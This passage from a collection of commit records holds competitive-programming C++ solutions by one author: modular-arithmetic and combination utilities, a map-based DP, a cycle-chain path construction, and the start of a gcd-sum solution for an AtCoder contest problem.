fact[n] * factinv[k] * factinv[n - k];\n }\n return 0;\n }\n Mint<MOD> catalan(int x, int y)\n {\n return (*this)(x + y, y) - (*this)(x + y, y - 1);\n }\n};\n\/\/ ----- for C++14 -----\nusing mint = Mint<MOD>;\nusing combination = Combination<MOD, MAX_SIZE>;\nll gcd(ll x, ll y) { return y ? gcd(y, x % y) : x; }\n\/\/ ----- frequently used constexpr -----\n\/\/ constexpr double epsilon{1e-10};\n\/\/ constexpr ll infty{1000000000000000LL};\n\/\/ constexpr int dx[4] = {1, 0, -1, 0};\n\/\/ constexpr int dy[4] = {0, 1, 0, -1};\n\/\/ ----- Yes() and No() -----\nvoid Yes()\n{\n cout << \"Yes\" << endl;\n exit(0);\n}\nvoid No()\n{\n cout << \"No\" << endl;\n exit(0);\n}\n\/\/ ----- main() -----\n\nvoid add_edge(map<int, int> &m, int h, int d)\n{\n if (m.find(h) == m.end())\n {\n m[h] = d;\n }\n else\n {\n ch_min(m[h], d);\n }\n}\n\nvoid calc_high(vector<int> const &A, vector<map<int, int>> &M, int i, int h, int d)\n{\n add_edge(M[i + 1], A[i + 1] - (A[i] - h), d);\n add_edge(M[i + 1], h, d + 1);\n add_edge(M[i + 1], 0, d + 2);\n}\n\nvoid calc_low(vector<int> const &A, vector<map<int, int>> &M, int i, int h, int d)\n{\n if (h <= A[i + 1])\n {\n add_edge(M[i + 1], h, d);\n }\n add_edge(M[i + 1], max(0, A[i + 1] - (A[i] - h)), d + 1);\n add_edge(M[i + 1], 0, d + 2);\n}\n\nvoid eliminate(map<int, int> &m)\n{\n int now{m[0]};\n map<int, int> k;\n for (auto const &x : m)\n {\n if (x.second == now)\n {\n k.insert(x);\n --now;\n }\n }\n swap(m, k);\n}\n\nvoid calc(vector<int> const &A, vector<map<int, int>> &M, int i, pair<int, int> const &x)\n{\n int h{x.first};\n int d{x.second};\n if (A[i] <= A[i + 1])\n {\n calc_high(A, M, i, h, d);\n }\n else\n {\n calc_low(A, M, i, h, d);\n }\n#if DEBUG == 1\n for (auto const &x : M[i + 1])\n {\n cerr << \"M[\" << i + 1 << \"][\" << x.first << \"] = \" << x.second << endl;\n }\n#endif\n eliminate(M[i + 1]);\n}\n\nint main()\n{\n int N;\n cin >> N;\n vector<int> A(N + 1, 0);\n for (auto i = 1; i <= N; i++)\n {\n cin >> A[i];\n }\n vector<map<int, int>> M(N + 1);\n M[0][0] = 0;\n for (auto i = 0; i < N; i++)\n {\n for (auto const &x : M[i])\n {\n calc(A, M, i, x);\n }\n }\n cout << M[N].end()->second << endl;\n}\n<|endoftext|>"} {"text":"<commit_before>#define DEBUG 1\n\/**\n * File : E.cpp\n * Author : Kazune Takahashi\n * Created : 4\/23\/2020, 7:08:47 PM\n * Powered by Visual Studio Code\n *\/\n#include <algorithm>\n#include <bitset>\n#include <cassert>\n#include <cctype>\n#include <chrono>\n#include <cmath>\n#include <complex>\n#include <cstdint>\n#include <cstdio>\n#include <cstdlib>\n#include <functional>\n#include <iomanip>\n#include <iostream>\n#include <map>\n#include <queue>\n#include <random>\n#include <set>\n#include <stack>\n#include <string>\n#include <tuple>\n#include <unordered_map>\n#include <unordered_set>\n#include <vector>\n\/\/ ----- boost -----\n#include <boost\/rational.hpp>\n#include <boost\/multiprecision\/cpp_int.hpp>\n\/\/ ----- using directives and manipulations -----\nusing namespace std;\nusing boost::rational;\nusing boost::multiprecision::cpp_int;\nusing ll = long long;\ntemplate <typename T>\nusing max_heap = priority_queue<T>;\ntemplate <typename T>\nusing min_heap = priority_queue<T, vector<T>, greater<T>>;\n\/\/ ----- constexpr for Mint and Combination -----\nconstexpr ll MOD{1000000007LL};\n\/\/ constexpr ll MOD{998244353LL}; \/\/ be careful\nconstexpr ll MAX_SIZE{3000010LL};\n\/\/ constexpr ll MAX_SIZE{30000010LL}; \/\/ if 10^7 is needed\n\/\/ ----- ch_max and ch_min -----\ntemplate <typename T>\nvoid ch_max(T &left, T right)\n{\n if (left < right)\n {\n left = right;\n }\n}\ntemplate <typename T>\nvoid ch_min(T &left, T right)\n{\n if (left > right)\n {\n left = right;\n }\n}\n\/\/ ----- Mint -----\ntemplate <ll MOD = MOD>\nclass Mint\n{\npublic:\n ll x;\n Mint() : x{0LL} {}\n Mint(ll x) : x{(x % MOD + MOD) % MOD} {}\n Mint operator-() const { return x ? MOD - x : 0; }\n Mint &operator+=(const Mint &a)\n {\n if ((x += a.x) >= MOD)\n {\n x -= MOD;\n }\n return *this;\n }\n Mint &operator-=(const Mint &a) { return *this += -a; }\n Mint &operator++() { return *this += 1; }\n Mint &operator++(int)\n {\n Mint tmp{*this};\n ++*this;\n return tmp;\n }\n Mint &operator--() { return *this -= 1; }\n Mint &operator--(int)\n {\n Mint tmp{*this};\n --*this;\n return tmp;\n }\n Mint &operator*=(const Mint &a)\n {\n (x *= a.x) %= MOD;\n return *this;\n }\n Mint &operator\/=(const Mint &a)\n {\n Mint b{a};\n return *this *= b.power(MOD - 2);\n }\n Mint operator+(const Mint &a) const { return Mint(*this) += a; }\n Mint operator-(const Mint &a) const { return Mint(*this) -= a; }\n Mint operator*(const Mint &a) const { return Mint(*this) *= a; }\n Mint operator\/(const Mint &a) const { return Mint(*this) \/= a; }\n bool operator<(const Mint &a) const { return x < a.x; }\n bool operator<=(const Mint &a) const { return x <= a.x; }\n bool operator>(const Mint &a) const { return x > a.x; }\n bool operator>=(const Mint &a) const { return x >= a.x; }\n bool operator==(const Mint &a) const { return x == a.x; }\n bool operator!=(const Mint &a) const { return !(*this == a); }\n const Mint power(ll N)\n {\n if (N == 0)\n {\n return 1;\n }\n else if (N % 2 == 1)\n {\n return *this * power(N - 1);\n }\n else\n {\n Mint half = power(N \/ 2);\n return half * half;\n }\n }\n};\ntemplate <ll MOD>\nMint<MOD> operator+(ll lhs, const Mint<MOD> &rhs)\n{\n return rhs + lhs;\n}\ntemplate <ll MOD>\nMint<MOD> operator-(ll lhs, const Mint<MOD> &rhs)\n{\n return -rhs + lhs;\n}\ntemplate <ll MOD>\nMint<MOD> operator*(ll lhs, const Mint<MOD> &rhs)\n{\n return rhs * lhs;\n}\ntemplate <ll MOD>\nMint<MOD> operator\/(ll lhs, const Mint<MOD> &rhs)\n{\n return Mint<MOD>{lhs} \/ rhs;\n}\ntemplate <ll MOD>\nistream &operator>>(istream &stream, Mint<MOD> &a)\n{\n return stream >> a.x;\n}\ntemplate <ll MOD>\nostream &operator<<(ostream &stream, const Mint<MOD> &a)\n{\n return stream << a.x;\n}\n\/\/ ----- Combination -----\ntemplate <ll MOD = MOD, ll MAX_SIZE = MAX_SIZE>\nclass Combination\n{\npublic:\n vector<Mint<MOD>> inv, fact, factinv;\n Combination() : inv(MAX_SIZE), fact(MAX_SIZE), factinv(MAX_SIZE)\n {\n inv[1] = 1;\n for (auto i = 2LL; i < MAX_SIZE; i++)\n {\n inv[i] = (-inv[MOD % i]) * (MOD \/ i);\n }\n fact[0] = factinv[0] = 1;\n for (auto i = 1LL; i < MAX_SIZE; i++)\n {\n fact[i] = Mint<MOD>(i) * fact[i - 1];\n factinv[i] = inv[i] * factinv[i - 1];\n }\n }\n Mint<MOD> operator()(int n, int k)\n {\n if (n >= 0 && k >= 0 && n - k >= 0)\n {\n return fact[n] * factinv[k] * factinv[n - k];\n }\n return 0;\n }\n Mint<MOD> catalan(int x, int y)\n {\n return (*this)(x + y, y) - (*this)(x + y, y - 1);\n }\n};\n\/\/ ----- for C++14 -----\nusing mint = Mint<MOD>;\nusing combination = Combination<MOD, MAX_SIZE>;\ntemplate <typename T>\nT gcd(T x, T y) { return y ? gcd(y, x % y) : x; }\ntemplate <typename T>\nT lcm(T x, T y) { return x \/ gcd(x, y) * y; }\n\/\/ ----- for C++17 -----\ntemplate <typename T>\nint popcount(T x) \/\/ C++20\n{\n int ans{0};\n while (x != 0)\n {\n ans += x & 1;\n x >>= 1;\n }\n return ans;\n}\n\/\/ ----- frequently used constexpr -----\n\/\/ constexpr double epsilon{1e-10};\n\/\/ constexpr ll infty{1000000000000000LL}; \/\/ or\n\/\/ constexpr int infty{1'000'000'010};\n\/\/ constexpr int dx[4] = {1, 0, -1, 0};\n\/\/ constexpr int dy[4] = {0, 1, 0, -1};\n\/\/ ----- Yes() and No() -----\nvoid Yes()\n{\n cout << \"Yes\" << endl;\n exit(0);\n}\nvoid No()\n{\n cout << \"No\" << endl;\n exit(0);\n}\n\n\/\/ ----- Point -----\n\nusing Point = tuple<int, int>;\n\nostream &operator<<(ostream &os, Point const &pt)\n{\n return os << get<0>(pt) << \" \" << get<1>(pt);\n}\n\n\/\/ ----- Cycle -----\n\nclass Cycle\n{\n int num;\n bool pos;\n\npublic:\n Cycle(int num, bool pos) : num{num}, pos{pos} {}\n\n vector<Point> path() const\n {\n vector<Point> ans;\n for (auto i = 0; i <= num; ++i)\n {\n ans.push_back(Point(i, 0));\n }\n if (pos)\n {\n ans.push_back(Point(num + 1, 0));\n ans.push_back(Point(num + 1, 1));\n ans.push_back(Point(num, 1));\n }\n else\n {\n ans.push_back(Point(num, 1));\n ans.push_back(Point(num + 1, 1));\n ans.push_back(Point(num + 1, 0));\n }\n for (auto i = num; i >= 1; --i)\n {\n ans.push_back(Point(i, 0));\n }\n return ans;\n }\n\n Cycle inv() const\n {\n return Cycle(num, !pos);\n }\n};\n\nclass Chain\n{\n vector<Cycle> V;\n\npublic:\n Chain() {}\n Chain(Cycle c) : V{c} {}\n Chain(vector<Cycle> V) : V(V) {}\n\n Chain(int mask)\n {\n#if DEBUG == 1\n cerr << \"mask = \" << mask << endl;\n#endif\n int cnt{0};\n while ((mask >> cnt) != 0)\n {\n if ((mask >> cnt) & 1)\n {\n merge(cnt);\n }\n ++cnt;\n }\n }\n\n vector<Point> path() const\n {\n vector<Point> ans;\n for (auto const &e : V)\n {\n auto tmp{e.path()};\n copy(tmp.begin(), tmp.end(), back_inserter(ans));\n }\n return ans;\n }\n\n vector<Cycle> const &seq() const\n {\n return V;\n }\n\n void operator+=(Chain const &other)\n {\n copy(other.seq().begin(), other.seq().end(), back_inserter(V));\n }\n\nprivate:\n void merge(int n)\n {\n if (V.empty())\n {\n V.push_back(Cycle{n, true});\n }\n else\n {\n auto inverse{inv()};\n *this += Chain{Cycle{n, true}};\n *this += inverse;\n *this += Chain{Cycle{n, false}};\n }\n }\n\n Chain inv() const\n {\n vector<Cycle> W;\n for (auto it = V.rbegin(); it != V.rend(); ++it)\n {\n W.push_back(it->inv());\n }\n return Chain(W);\n }\n};\n\n\/\/ ----- Solve -----\n\nclass Solve\n{\n int N;\n vector<bool> V;\n Chain C;\n bool possible;\n\npublic:\n Solve(int N, string A) : N{N}, V(1 << N), possible{true}\n {\n for (auto i = 0; i < 1 << N; ++i)\n {\n V[i] = (A[i] == '1');\n }\n }\n\n void answer()\n {\n if (check())\n {\n construct();\n }\n else\n {\n possible = false;\n }\n flush();\n }\n\nprivate:\n bool check() const\n {\n for (auto i = 0; i < 1 << N; ++i)\n {\n for (auto j = 0; j < 1 << N; ++j)\n {\n if ((i & j) == j)\n {\n if (!V[j] && V[i])\n {\n return false;\n }\n }\n }\n }\n return true;\n }\n\n void construct()\n {\n for (auto i = 0; i < 1 << N; ++i)\n {\n if (V[i])\n {\n continue;\n }\n#if DEBUG == 1\n cerr << \"i = \" << i << endl;\n#endif\n bool create{true};\n for (auto j = 0; j < 1 << N; ++j)\n {\n if ((i & j) == j && !V[j])\n {\n create = false;\n break;\n }\n }\n if (create)\n {\n C += Chain{i};\n }\n }\n }\n\n void flush() const\n {\n if (possible)\n {\n cout << \"Possible\" << endl;\n }\n else\n {\n cout << \"Impossible\" << endl;\n return;\n }\n auto tmp{C.path()};\n cout << tmp.size() << endl;\n for (auto const &e : tmp)\n {\n cout << e << endl;\n }\n }\n};\n\n\/\/ ----- main() -----\n\nint main()\n{\n int N;\n cin >> N;\n string A;\n cin >> A;\n Solve solve(N, A);\n solve.answer();\n}\n<commit_msg>tried E.cpp to 'E'<commit_after>#define DEBUG 1\n\/**\n * File : E.cpp\n * Author : Kazune Takahashi\n * Created : 4\/23\/2020, 7:08:47 PM\n * Powered by Visual Studio Code\n *\/\n#include <algorithm>\n#include <bitset>\n#include <cassert>\n#include <cctype>\n#include <chrono>\n#include <cmath>\n#include <complex>\n#include <cstdint>\n#include <cstdio>\n#include <cstdlib>\n#include <functional>\n#include <iomanip>\n#include <iostream>\n#include <map>\n#include <queue>\n#include <random>\n#include <set>\n#include <stack>\n#include <string>\n#include <tuple>\n#include <unordered_map>\n#include <unordered_set>\n#include <vector>\n\/\/ ----- boost -----\n#include <boost\/rational.hpp>\n#include <boost\/multiprecision\/cpp_int.hpp>\n\/\/ ----- using directives and manipulations -----\nusing namespace std;\nusing boost::rational;\nusing boost::multiprecision::cpp_int;\nusing ll = long long;\ntemplate <typename T>\nusing max_heap = priority_queue<T>;\ntemplate <typename T>\nusing min_heap = priority_queue<T, vector<T>, greater<T>>;\n\/\/ ----- constexpr for Mint and Combination -----\nconstexpr ll MOD{1000000007LL};\n\/\/ constexpr ll MOD{998244353LL}; \/\/ be careful\nconstexpr ll MAX_SIZE{3000010LL};\n\/\/ constexpr ll MAX_SIZE{30000010LL}; \/\/ if 10^7 is needed\n\/\/ ----- ch_max and ch_min -----\ntemplate <typename T>\nvoid ch_max(T &left, T right)\n{\n if (left < right)\n {\n left = right;\n }\n}\ntemplate <typename T>\nvoid ch_min(T &left, T right)\n{\n if (left > right)\n {\n left = right;\n }\n}\n\/\/ ----- Mint -----\ntemplate <ll MOD = MOD>\nclass Mint\n{\npublic:\n ll x;\n Mint() : x{0LL} {}\n Mint(ll x) : x{(x % MOD + MOD) % MOD} {}\n Mint operator-() const { return x ? MOD - x : 0; }\n Mint &operator+=(const Mint &a)\n {\n if ((x += a.x) >= MOD)\n {\n x -= MOD;\n }\n return *this;\n }\n Mint &operator-=(const Mint &a) { return *this += -a; }\n Mint &operator++() { return *this += 1; }\n Mint &operator++(int)\n {\n Mint tmp{*this};\n ++*this;\n return tmp;\n }\n Mint &operator--() { return *this -= 1; }\n Mint &operator--(int)\n {\n Mint tmp{*this};\n --*this;\n return tmp;\n }\n Mint &operator*=(const Mint &a)\n {\n (x *= a.x) %= MOD;\n return *this;\n }\n Mint &operator\/=(const Mint &a)\n {\n Mint b{a};\n return *this *= b.power(MOD - 2);\n }\n Mint operator+(const Mint &a) const { return Mint(*this) += a; }\n Mint operator-(const Mint &a) const { return Mint(*this) -= a; }\n Mint operator*(const Mint &a) const { return Mint(*this) *= a; }\n Mint operator\/(const Mint &a) const { return Mint(*this) \/= a; }\n bool operator<(const Mint &a) const { return x < a.x; }\n bool operator<=(const Mint &a) const { return x <= a.x; }\n bool operator>(const Mint &a) const { return x > a.x; }\n bool operator>=(const Mint &a) const { return x >= a.x; }\n bool operator==(const Mint &a) const { return x == a.x; }\n bool operator!=(const Mint &a) const { return !(*this == a); }\n const Mint power(ll N)\n {\n if (N == 0)\n {\n return 1;\n }\n else if (N % 2 == 1)\n {\n return *this * power(N - 1);\n }\n else\n {\n Mint half = power(N \/ 2);\n return half * half;\n }\n }\n};\ntemplate <ll MOD>\nMint<MOD> operator+(ll lhs, const Mint<MOD> &rhs)\n{\n return rhs + lhs;\n}\ntemplate <ll MOD>\nMint<MOD> operator-(ll lhs, const Mint<MOD> &rhs)\n{\n return -rhs + lhs;\n}\ntemplate <ll MOD>\nMint<MOD> operator*(ll lhs, const Mint<MOD> &rhs)\n{\n return rhs * lhs;\n}\ntemplate <ll MOD>\nMint<MOD> operator\/(ll lhs, const Mint<MOD> &rhs)\n{\n return Mint<MOD>{lhs} \/ rhs;\n}\ntemplate <ll MOD>\nistream &operator>>(istream &stream, Mint<MOD> &a)\n{\n return stream >> a.x;\n}\ntemplate <ll MOD>\nostream &operator<<(ostream &stream, const Mint<MOD> &a)\n{\n return stream << a.x;\n}\n\/\/ ----- Combination -----\ntemplate <ll MOD = MOD, ll MAX_SIZE = MAX_SIZE>\nclass Combination\n{\npublic:\n vector<Mint<MOD>> inv, fact, factinv;\n Combination() : inv(MAX_SIZE), fact(MAX_SIZE), factinv(MAX_SIZE)\n {\n inv[1] = 1;\n for (auto i = 2LL; i < MAX_SIZE; i++)\n {\n inv[i] = (-inv[MOD % i]) * (MOD \/ i);\n }\n fact[0] = factinv[0] = 1;\n for (auto i = 1LL; i < MAX_SIZE; i++)\n {\n fact[i] = Mint<MOD>(i) * fact[i - 1];\n factinv[i] = inv[i] * factinv[i - 1];\n }\n }\n Mint<MOD> operator()(int n, int k)\n {\n if (n >= 0 && k >= 0 && n - k >= 0)\n {\n return fact[n] * factinv[k] * factinv[n - k];\n }\n return 0;\n }\n Mint<MOD> catalan(int x, int y)\n {\n return (*this)(x + y, y) - (*this)(x + y, y - 1);\n }\n};\n\/\/ ----- for C++14 -----\nusing mint = Mint<MOD>;\nusing combination = Combination<MOD, MAX_SIZE>;\ntemplate <typename T>\nT gcd(T x, T y) { return y ? gcd(y, x % y) : x; }\ntemplate <typename T>\nT lcm(T x, T y) { return x \/ gcd(x, y) * y; }\n\/\/ ----- for C++17 -----\ntemplate <typename T>\nint popcount(T x) \/\/ C++20\n{\n int ans{0};\n while (x != 0)\n {\n ans += x & 1;\n x >>= 1;\n }\n return ans;\n}\n\/\/ ----- frequently used constexpr -----\n\/\/ constexpr double epsilon{1e-10};\n\/\/ constexpr ll infty{1000000000000000LL}; \/\/ or\n\/\/ constexpr int infty{1'000'000'010};\n\/\/ constexpr int dx[4] = {1, 0, -1, 0};\n\/\/ constexpr int dy[4] = {0, 1, 0, -1};\n\/\/ ----- Yes() and No() -----\nvoid Yes()\n{\n cout << \"Yes\" << endl;\n exit(0);\n}\nvoid No()\n{\n cout << \"No\" << endl;\n exit(0);\n}\n\n\/\/ ----- Point -----\n\nusing Point = tuple<int, int>;\n\nostream &operator<<(ostream &os, Point const &pt)\n{\n return os << get<0>(pt) << \" \" << get<1>(pt);\n}\n\n\/\/ ----- Cycle -----\n\nclass Cycle\n{\n int num;\n bool pos;\n\npublic:\n Cycle(int num, bool pos) : num{num}, pos{pos} {}\n\n vector<Point> path() const\n {\n vector<Point> ans;\n for (auto i = 0; i <= num; ++i)\n {\n ans.push_back(Point(i, 0));\n }\n if (pos)\n {\n ans.push_back(Point(num + 1, 0));\n ans.push_back(Point(num + 1, 1));\n ans.push_back(Point(num, 1));\n }\n else\n {\n ans.push_back(Point(num, 1));\n ans.push_back(Point(num + 1, 1));\n ans.push_back(Point(num + 1, 0));\n }\n for (auto i = num; i >= 1; --i)\n {\n ans.push_back(Point(i, 0));\n }\n return ans;\n }\n\n Cycle inv() const\n {\n return Cycle(num, !pos);\n }\n};\n\nclass Chain\n{\n vector<Cycle> V;\n\npublic:\n Chain() {}\n Chain(Cycle c) : V{c} {}\n Chain(vector<Cycle> V) : V(V) {}\n\n Chain(int mask)\n {\n#if DEBUG == 1\n cerr << \"mask = \" << mask << endl;\n#endif\n int cnt{0};\n while ((mask >> cnt) != 0)\n {\n if ((mask >> cnt) & 1)\n {\n merge(cnt);\n }\n ++cnt;\n }\n }\n\n vector<Point> path() const\n {\n vector<Point> ans;\n for (auto const &e : V)\n {\n auto tmp{e.path()};\n copy(tmp.begin(), tmp.end(), back_inserter(ans));\n }\n return ans;\n }\n\n vector<Cycle> const &seq() const\n {\n return V;\n }\n\n void operator+=(Chain const &other)\n {\n copy(other.seq().begin(), other.seq().end(), back_inserter(V));\n }\n\nprivate:\n void merge(int n)\n {\n if (V.empty())\n {\n V.push_back(Cycle{n, true});\n }\n else\n {\n auto inverse{inv()};\n *this += Chain{Cycle{n, true}};\n *this += inverse;\n *this += Chain{Cycle{n, false}};\n }\n }\n\n Chain inv() const\n {\n vector<Cycle> W;\n for (auto it = V.rbegin(); it != V.rend(); ++it)\n {\n W.push_back(it->inv());\n }\n return Chain(W);\n }\n};\n\n\/\/ ----- Solve -----\n\nclass Solve\n{\n int N;\n vector<bool> V;\n Chain C;\n bool possible;\n\npublic:\n Solve(int N, string A) : N{N}, V(1 << N), possible{true}\n {\n for (auto i = 0; i < 1 << N; ++i)\n {\n V[i] = (A[i] == '1');\n }\n }\n\n void answer()\n {\n if (check())\n {\n construct();\n }\n else\n {\n possible = false;\n }\n flush();\n }\n\nprivate:\n bool check() const\n {\n if (!V[0])\n {\n return false;\n }\n for (auto i = 0; i < 1 << N; ++i)\n {\n for (auto j = 0; j < 1 << N; ++j)\n {\n if ((i & j) == j)\n {\n if (!V[j] && V[i])\n {\n return false;\n }\n }\n }\n }\n return true;\n }\n\n void construct()\n {\n for (auto i = 0; i < 1 << N; ++i)\n {\n if (V[i])\n {\n continue;\n }\n#if DEBUG == 1\n cerr << \"i = \" << i << endl;\n#endif\n bool create{true};\n for (auto j = 0; j < 1 << N; ++j)\n {\n if ((i & j) == j && !V[j])\n {\n create = false;\n break;\n }\n }\n if (create)\n {\n C += Chain{i};\n }\n }\n }\n\n void flush() const\n {\n if (possible)\n {\n cout << \"Possible\" << endl;\n }\n else\n {\n cout << \"Impossible\" << endl;\n return;\n }\n auto tmp{C.path()};\n cout << tmp.size() << endl;\n tmp.push_back(Point(0, 0));\n for (auto const &e : tmp)\n {\n cout << e << endl;\n }\n }\n};\n\n\/\/ ----- main() -----\n\nint main()\n{\n int N;\n cin >> N;\n string A;\n cin >> A;\n Solve solve(N, A);\n solve.answer();\n}\n<|endoftext|>"} {"text":"<commit_before>#define DEBUG 1\n\/**\n * File : E.cpp\n * Author : Kazune Takahashi\n * Created : 2020\/6\/23 1:01:43\n * Powered by Visual Studio Code\n *\/\n#include <algorithm>\n#include <bitset>\n#include <cassert>\n#include <cctype>\n#include <chrono>\n#include <climits>\n#include <cmath>\n#include <complex>\n#include <cstdint>\n#include <cstdio>\n#include <cstdlib>\n#include <functional>\n#include <iomanip>\n#include <iostream>\n#include <limits>\n#include <map>\n#include <queue>\n#include <random>\n#include <set>\n#include <stack>\n#include <string>\n#include <tuple>\n#include <unordered_map>\n#include <unordered_set>\n#include <vector>\n\/\/ ----- boost -----\n#include <boost\/integer\/common_factor_rt.hpp>\n#include <boost\/multiprecision\/cpp_int.hpp>\n#include <boost\/rational.hpp>\n\/\/ ----- using directives and manipulations -----\nusing namespace std;\nusing boost::rational;\nusing boost::integer::gcd; \/\/ for C++14 or for cpp_int\nusing boost::integer::lcm; \/\/ for C++14 or for cpp_int\nusing boost::multiprecision::cpp_int;\nusing ll = long long;\nusing ld = long double;\ntemplate <typename T>\nusing max_heap = priority_queue<T>;\ntemplate <typename T>\nusing min_heap = priority_queue<T, vector<T>, greater<T>>;\n\/\/ ----- constexpr for Mint and Combination -----\nconstexpr ll MOD{1'000'000'007LL};\n\/\/ constexpr ll MOD{998'244'353LL}; \/\/ be careful\nconstexpr ll MAX_SIZE{3'000'010LL};\n\/\/ constexpr ll MAX_SIZE{30'000'010LL}; \/\/ if 10^7 is needed\n\/\/ ----- ch_max and ch_min -----\ntemplate <typename T>\nbool ch_max(T &left, T right)\n{\n if (left < right)\n {\n left = right;\n return true;\n }\n return false;\n}\ntemplate <typename T>\nbool ch_min(T &left, T right)\n{\n if (left > right)\n {\n left = right;\n return true;\n }\n return false;\n}\n\/\/ ----- Mint -----\ntemplate <ll MOD = MOD>\nclass Mint\n{\npublic:\n ll x;\n Mint() : x{0LL} {}\n Mint(ll x) : x{(x % MOD + MOD) % MOD} {}\n Mint operator-() const { return x ? MOD - x : 0; }\n Mint &operator+=(Mint const &a)\n {\n if ((x += a.x) >= MOD)\n {\n x -= MOD;\n }\n return *this;\n }\n Mint &operator-=(Mint const &a) { return *this += -a; }\n Mint &operator++() { return *this += 1; }\n Mint operator++(int)\n {\n Mint tmp{*this};\n ++*this;\n return tmp;\n }\n Mint &operator--() { return *this -= 1; }\n Mint operator--(int)\n {\n Mint tmp{*this};\n --*this;\n return tmp;\n }\n Mint &operator*=(Mint const &a)\n {\n (x *= a.x) %= MOD;\n return *this;\n }\n Mint &operator\/=(Mint const &a)\n {\n Mint b{a};\n return *this *= b.power(MOD - 2);\n }\n Mint operator+(Mint const &a) const { return Mint(*this) += a; }\n Mint operator-(Mint const &a) const { return Mint(*this) -= a; }\n Mint operator*(Mint const &a) const { return Mint(*this) *= a; }\n Mint operator\/(Mint const &a) const { return Mint(*this) \/= a; }\n bool operator<(Mint const &a) const { return x < a.x; }\n bool operator<=(Mint const &a) const { return x <= a.x; }\n bool operator>(Mint const &a) const { return x > a.x; }\n bool operator>=(Mint const &a) const { return x >= a.x; }\n bool operator==(Mint const &a) const { return x == a.x; }\n bool operator!=(Mint const &a) const { return !(*this == a); }\n Mint power(ll N) const\n {\n if (N == 0)\n {\n return 1;\n }\n else if (N % 2 == 1)\n {\n return *this * power(N - 1);\n }\n else\n {\n Mint half = power(N \/ 2);\n return half * half;\n }\n }\n};\ntemplate <ll MOD>\nMint<MOD> operator+(ll lhs, Mint<MOD> const &rhs) { return rhs + lhs; }\ntemplate <ll MOD>\nMint<MOD> operator-(ll lhs, Mint<MOD> const &rhs) { return -rhs + lhs; }\ntemplate <ll MOD>\nMint<MOD> operator*(ll lhs, Mint<MOD> const &rhs) { return rhs * lhs; }\ntemplate <ll MOD>\nMint<MOD> operator\/(ll lhs, Mint<MOD> const &rhs) { return Mint<MOD>{lhs} \/ rhs; }\ntemplate <ll MOD>\nistream &operator>>(istream &stream, Mint<MOD> &a) { return stream >> a.x; }\ntemplate <ll MOD>\nostream &operator<<(ostream &stream, Mint<MOD> const &a) { return stream << a.x; }\n\/\/ ----- Combination -----\ntemplate <ll MOD = MOD, ll MAX_SIZE = MAX_SIZE>\nclass Combination\n{\npublic:\n vector<Mint<MOD>> inv, fact, factinv;\n Combination() : inv(MAX_SIZE), fact(MAX_SIZE), factinv(MAX_SIZE)\n {\n inv[1] = 1;\n for (auto i{2LL}; i < MAX_SIZE; i++)\n {\n inv[i] = (-inv[MOD % i]) * (MOD \/ i);\n }\n fact[0] = factinv[0] = 1;\n for (auto i{1LL}; i < MAX_SIZE; i++)\n {\n fact[i] = Mint<MOD>(i) * fact[i - 1];\n factinv[i] = inv[i] * factinv[i - 1];\n }\n }\n Mint<MOD> operator()(int n, int k)\n {\n if (n >= 0 && k >= 0 && n - k >= 0)\n {\n return fact[n] * factinv[k] * factinv[n - k];\n }\n return 0;\n }\n Mint<MOD> catalan(int x, int y)\n {\n return (*this)(x + y, y) - (*this)(x + y, y - 1);\n }\n};\n\/\/ ----- for C++14 -----\nusing mint = Mint<MOD>;\nusing combination = Combination<MOD, MAX_SIZE>;\n\/\/ ----- for C++17 -----\ntemplate <typename T, typename enable_if<is_integral<T>::value>::type * = nullptr>\nsize_t popcount(T x) { return bitset<64>(x).count(); }\nsize_t popcount(string const &S) { return bitset<200010>{S}.count(); }\n\/\/ ----- Infty -----\ntemplate <typename T>\nconstexpr T Infty() { return numeric_limits<T>::max(); }\ntemplate <typename T>\nconstexpr T mInfty() { return numeric_limits<T>::min(); }\n\/\/ ----- frequently used constexpr -----\n\/\/ constexpr double epsilon{1e-10};\n\/\/ constexpr ll infty{1'000'000'000'000'010LL}; \/\/ or\n\/\/ constexpr int infty{1'000'000'010};\n\/\/ constexpr int dx[4] = {1, 0, -1, 0};\n\/\/ constexpr int dy[4] = {0, 1, 0, -1};\n\/\/ ----- Yes() and No() -----\nvoid Yes()\n{\n cout << \"Yes\" << endl;\n exit(0);\n}\nvoid No()\n{\n cout << \"No\" << endl;\n exit(0);\n}\n\n\/\/ ----- Solve -----\n\nclass Solve\n{\n ll N, K;\n map<ll, mint> M;\n\npublic:\n Solve(ll N, ll K) : N{N}, K{K}\n {\n#if DEBUG == 1\n cerr << \"N = \" << N << \", K = \" << K << endl;\n#endif\n }\n\n void flush()\n {\n mint ans{0};\n auto V{table()};\n for (auto i{1LL}; i <= K; ++i)\n {\n ans += V[i] * i;\n#if DEBUG == 1\n if (K == 2)\n {\n cerr << \"V[\" << i << \"] = \" << V[i] << endl;\n }\n#endif\n }\n cout << ans << endl;\n }\n\nprivate:\n vector<mint> table()\n {\n vector<mint> V(K + 1, 0);\n for (auto X{K}; X >= 1; --X)\n {\n V[X] = count(K);\n for (auto i{2LL};; ++i)\n {\n if (auto t{X * i}; t <= K)\n {\n V[X] -= V[t];\n }\n else\n {\n break;\n }\n }\n }\n return V;\n }\n\n mint count(ll X)\n {\n return mint{K \/ X}.power(N);\n }\n};\n\n\/\/ ----- main() -----\n\nint main()\n{\n ll N, K;\n cin >> N >> K;\n Solve solve(N, K);\n solve.flush();\n}\n<commit_msg>submit E.cpp to 'E - Sum of gcd of Tuples (Hard)' (abc162) [C++ (GCC 9.2.1)]<commit_after>#define DEBUG 1\n\/**\n * File : E.cpp\n * Author : Kazune Takahashi\n * Created : 2020\/6\/23 1:01:43\n * Powered by Visual Studio Code\n *\/\n#include <algorithm>\n#include <bitset>\n#include <cassert>\n#include <cctype>\n#include <chrono>\n#include <climits>\n#include <cmath>\n#include <complex>\n#include <cstdint>\n#include <cstdio>\n#include <cstdlib>\n#include <functional>\n#include <iomanip>\n#include <iostream>\n#include <limits>\n#include <map>\n#include <queue>\n#include <random>\n#include <set>\n#include <stack>\n#include <string>\n#include <tuple>\n#include <unordered_map>\n#include <unordered_set>\n#include <vector>\n\/\/ ----- boost -----\n#include <boost\/integer\/common_factor_rt.hpp>\n#include <boost\/multiprecision\/cpp_int.hpp>\n#include <boost\/rational.hpp>\n\/\/ ----- using directives and manipulations -----\nusing namespace std;\nusing boost::rational;\nusing boost::integer::gcd; \/\/ for C++14 or for cpp_int\nusing boost::integer::lcm; \/\/ for C++14 or for cpp_int\nusing boost::multiprecision::cpp_int;\nusing ll = long long;\nusing ld = long double;\ntemplate <typename T>\nusing max_heap = 